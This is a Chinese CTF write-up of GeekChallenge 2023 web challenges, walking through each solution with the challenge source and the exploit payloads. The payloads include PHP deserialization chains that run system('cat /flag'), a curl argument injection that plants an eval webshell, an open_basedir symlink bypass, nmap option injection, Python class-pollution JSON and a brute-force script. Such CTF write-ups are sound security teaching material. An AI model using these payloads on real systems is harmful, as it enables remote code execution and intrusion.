GeekChallenge[2023] - WEB WP

WechatIMG11.jpg

EzHttp

签到题,跟着网页的提示一步一步走

image-20231109165106485.png

检查网页发现注释提示了用户名和密码的位置

image-20231109165231860.png

关键词 不想让爬虫获取到的地方,联想到robots.txt

image-20231109165355939.png

image-20231109165415672.png

获取到用户名和密码

image-20231109172152700.png

必须来源自sycsec.com,则是header里的Referer值为sycsec.com

image-20231109172339220.png

使用Syclover浏览器,则是User-Agent的值为Syclover

image-20231109172442076.png

请从localhost访问,则是X-Forwarded-For设置为127.0.0.1(不知道为啥Client-ip没用,也不知道为啥不能设置为localhost)

image-20231109173000457.png

请使用Syc.vip代理,则是设置Via为Syc.vip

image-20231109173230088.png

此时看到了php代码

<?php

if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
    echo $flag;
}

?>

增加一个headerO2TAKUXX并赋值为GiveMeFlag即可拿到flag,最终payload如图:

image-20231109173524702.png

<summary>flag</summary>
SYC{HttP_1s_E@sY}

unsign

访问地址,得到如下代码:

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}

?>

格式化字符串的题,分析代码后,构造payload的代码如下:

<?php
#error_reporting(0);
class web
{
    public $eva1="system";
    public $interesting = "cat /flag";
}
class lover
{
    public $yxx;
    public $QW;
    public function __construct()
    {
        $this->yxx=new web();
    }
}
class syc
{
    public $cuit;
    public function __construct()
    {
        $this->cuit=new lover();
    }
}
$c=new syc();
echo serialize($c);

payload如下:

O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";N;}}

image-20231109215605545.png

<summary>flag</summary>
SYC{OccjrAwuRXTpo3Xypu}

n00b_Upload

过了,但是忘记怎么过的了(x 有空再写

easy_php

打开题目,代码已经出现,分析代码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

第一个if的条件为

isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!'

需要请求中有syc且满足正则匹配为Welcome to GEEK 2023!但是又不能完全等于,因为/i结尾,意味着正则匹配忽略大小写,故payload的第一部分?syc=welcome to GEEK 2023!即可绕过

第二个if的条件为

intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024

又是考察intval,这里使用科学计数法绕过,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

echo intval('0x7e70')
echo intval('0x7e70' + 1) 

所以payload的第二部分为&lover=0x7e70

第三部分

if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) 

经典sha1(md5等)加密相等,可以硬碰撞,但是更推荐使用数组绕过,所以payload的第三部分为qw[]=1&yxx[]=2(注意这里需要用POST了)

image-20231109225726030.png

第四部分为

isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!"

这个部分重点如何构造点或者说如何保留.,根据php的规则,会自动转换请求中的非法字符为_,但是只会转换第一个,所以将前一个_用非法字符替换,让PHP自动转换,从而保留后面的.,因此payload的第四部分为&SYC[GEEK.2023=Happy to see you! 拿到flag

image-20231109230041219.png

flag:SYC{r5z4F7v5qCfWbk9kyi}

ctf_curl

打开题目,代码已经展示出来了

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
    $address = $_GET['addr'];
    if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
        $result = system("curl ".$address."> /dev/null");
    } else {
        echo "Hacker!!!";
    }
}
?>

分析代码可知,让addr符合preg_match的要求就可以搞定

?addr=-o%20/var/www/html/test.php%20*.*.*.*/test.php
<?php
  eval($_GET['code']);

image-20231109230947246.png

再根据题目提示,直接去读取flag

image-20231109231056486.png

flag:SYC{o0eQplkHvImI9lcNWq}

klf_ssti

脚本小子.jpg

使用sstimap盲注,然后反弹一下shell

ez_remove

打开题目就能看到代码

<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>

考点:1. 格式化使用其他格式绕过preg_match匹配

  1. 因为后面有throw new Error因此需要用到_fast_destruct机制,提前触发结构体的销毁
  2. 它限制了open_basedir这也要绕过!

Payload1:

?web=O:3:"syc":1:{S:5:"\6cover";s:10:"phpinfo();";

查看到

image-20231109231909181.png

image-20231109231926144.png

Payload2:

?web=O:3:"syc":1:{s:5:"lover";s:30:"print_r(scandir('glob:///*'));";

找到flag的位置

image-20231109232141005.png

payload3:

?web=O:3:"syc":1:{S:5:"\6cover";s:223:"mkdir("A");chdir("A");mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");chdir("..");chdir("..");chdir("..");chdir("..");symlink("A/B/C/D","SD");symlink("SD/../../../../f1ger","POC");unlink("SD");mkdir("SD");";

最后访问/POC,拿到flag

image-20231109232404594.png

flag:SYC{UIE873q4BTmOCS2K0d}

ez_path

打开网页可以看到注释

image-20231109233526457.png

然后到下方,下载到源码的pyc使用uncompyle6反编译,得到源码为

# uncompyle6 version 3.9.0
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.6.13 |Anaconda, Inc.| (default, Mar 16 2021, 11:37:27) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:

    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content


def generate_article_id():
    return str(uuid.uuid4())


@app.route('/')
def index():
    return render_template('index.html', articles=articles)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

    return render_template('error.html')


def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as (file):
        file.write(content)


def sanitize_filename(filename):
    sensitive_chars = [
     "':'", "'*'", "'?'", '\'"\'', "'<'", "'>'", "'|'", "'.'"]
    for char in sensitive_chars:
        filename = filename.replace(char, '_')

    return filename


if __name__ == '__main__':
    app.run(debug=True)
# okay decompiling result.pyc

可以看到第36行与第37行,upload的内容是先保存到内存中,再写入到文件里,因此不管名字是否会被过滤,在内存中的名字都会是你输入的名字,而读取确实从文件中读取。在配合os.join如果出现了绝对值,则会从绝对路径中读取,那么payload如下:

image-20231109233602534.png

得到flag

image-20231109233616076.png

flag:SYC{CImmOeGETJqIV9iA7k}

you konw flask?

没来得及写

Puppy_rce

打开题目,看到代码:

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
}

分析代码,分析个锤子,干

?var=print_r(scandir(getcwd()));

发现当前目录下确实有好康的

image-20231109234751207.png

直接访问.jpg

image-20231109234813051.png

flag:SYC{NdyxvNgAy3M6ai2JQj}

nodejs原型链污染,泰哥讲过了

famale_imp_l0ve

先把知识点放这里,有空接着写,php伪协议相关

先记一下薅下来的源码(

Upload_file.php

<?php
header("Content-type:text/html;charset=utf-8"); 
 //白名单 
 $ext_arr = array('zip');
 $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
 //判断filename是否为空
 $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
 //判断filename的后缀是不是在黑名单
 $name = basename($_POST['filename']);
 $filename_ext= pathinfo($name,PATHINFO_EXTENSION);
 $filename=$_FILES['file']['name'];

if(in_array($file_ext,$ext_arr)){
    //检测文件后缀
    echo "后缀过了<br>";
       //整个文件内容检测
       if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "upload/" . $filename;
        }
    }
    else{
        echo "必须上传.zip哦";
    }

?>

<html>
<head>
    <title>文件检测系统</title>
</head>

<body>
    <!-- 图片展示区域 -->
    <div>
        <img src="慈孝鬼.jpg" width="400" height="auto">
    </div>
</body>
</html>

index.php

<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?> <html>
<head>
<meta charset="utf-8">
<title>简单的文件上传</title>

</head>
<body>

<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <!--<label><input type="text" name="filename" value="请输入你的文件名"></lable>-->
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
    <br>懒得换前端了😋</br>
    <br>o2takuXX师傅说压缩了一定安全😋</br>
    <!--/include.php文件已废弃,只接受上传文件-->
</form>
<!-- 图片展示区域 -->
    <div>
        <img src="雌小鬼.jpg" width="400" height="auto">
    </div>
</body>
</html>

Include.php

<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

scan_tool

搜了一下,应该是模仿 网鼎杯 2020 朱雀组 的那道 Nmap

此题他做了更多的过滤,基础的<?php <?= -iL(空格) -oN等都被过滤了

但是,他是执行前过滤,也就是说只要绕开了escapeshellargescapeshellcmd就可以执行了

在查询资料的时候发现,如果escapeshellargescapeshellcmd如果没有制定字符集,那么就默认是ASCII,对于非ASCII的字符就会直接忽略,因此在被拦截的关键词处加入非ASCII字符就可以绕过了。

最后的payload

' -iLā /flag -oāN test123.phtml '

ezpython

python版原型链污染,先来看源码

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

            
if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

分析代码可知,几个关键点,mergeflag函数和User

分析flag函数,可知,想要拿到flag,有两个步骤,user是vip,然后请求中带有num并满足判断条件

第二个可以利用(空格)123456789 在python中强制转换是会被忽略轻易绕过

而第一个则是与nodejs中的原型链污染一样,靠向上一级污染就可以了

但是这道题实际上是在请求的时候过滤了isvip字段,于是直接使用unicode编码绕过即可

注册payload如下

payload = {
      "username": "test",
      "password": "test",
    "__class__" : {
        "__base__" : {
            "\u0069\u0073\u0076\u0069\u0070" : true
        }
    }
}

参考文献:https://tttang.com/archive/1876

Akane!

<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
    public $Ruby;
    private $Aquamarine;

    public function __destruct()
    {
        $this->Ruby->func();
    }
}

class Idol
{
    public $Akane;

    public function __wakeup()
    {
        $this->Akane = '/var/www/html/The************************.php';
    }

    public function __call($method,$args)
    {
        $Kana = count(scandir($this->Akane));
        if ($Kana > 0) {
            die('Kurokawa Akane');
        } else {
            die('Arima Kana');
        }
    }
}

$a = unserialize(base64_decode($_GET['tuizi']));

?>

又是一个序列化问题

<?php
class Idol {
    public $Akane = "glob://The************************.php";
}
class Hoshino {
    public $Ruby;
    public function __construct()
    {
        $this->Ruby = new Idol();
    }
}
$c = new Hoshino();
echo serialize($c);

生成了基础的payload

O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:38:"glob://The************************.php";}}

为了绕过wakeup,这里采用触发fast-destruct

修改payload中的值为

O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":2:{s:5:"Akane";s:38:"glob://The************************.php";}}

然后利用scandir扫描glob中*为通配符,存在的统计值大于1不存在则为0来猜测文件名

不直接使用地址,是因为scandir会有...会使扫描值始终大于0无法判断

import requests
import base64

# 字符集,包含0-9和a-z
char_set = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

# 初始字符串
template_str = 'O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":2:{s:5:"Akane";s:38:"glob://The************************.php";}}'

# 发起请求的URL
url = 'https://f5o3salnhm6u9jxly3ygv0nm0.node.game.sycsec.com/'

def replace_star(template, index, char):
    """
    替换字符串中指定索引位置的星号(*)字符
    """
    return template[:index] + char + template[index+1:]

def make_request(url, param):
    """
    发起GET请求并返回响应内容
    """
    response = requests.get(url, params={'tuizi': base64.b64encode(param.encode()).decode()})
    return response.text

def find_next_star(template, start=0):
    """
    找到字符串中下一个星号的位置
    """
    return template.find('*', start)

def try_replacements(template, index):
    """
    递归地尝试替换星号并进行请求,直到找到正确的字符序列
    """
    if index == -1:
        # 没有星号要替换,输出结果
        print("Completed string:", template)
        return True

    for char in char_set:
        # 替换当前星号
        new_template = replace_star(template, index, char)
        # 发起请求
        response_content = make_request(url, new_template)
        # 根据响应内容决定下一步
        if response_content.endswith('Kana'):
            # 如果以'Kana'结尾,尝试下一个字符
            continue
        elif response_content.endswith('Akane'):
            # 如果以'Akane'结尾,移动到下一个星号
            next_index = find_next_star(new_template, index + 1)
            if try_replacements(new_template, next_index):
                return True
        else:
            # 如果响应不是预期的结尾,跳过当前字符
            continue
    return False

def main(template_str, url):
    # 找到第一个星号的位置
    first_star_index = find_next_star(template_str)
    # 开始替换过程
    try_replacements(template_str, first_star_index)

if __name__ == "__main__":
    main(template_str, url)
最后修改:2023 年 12 月 01 日
如果觉得我的文章对你有用,请随意赞赏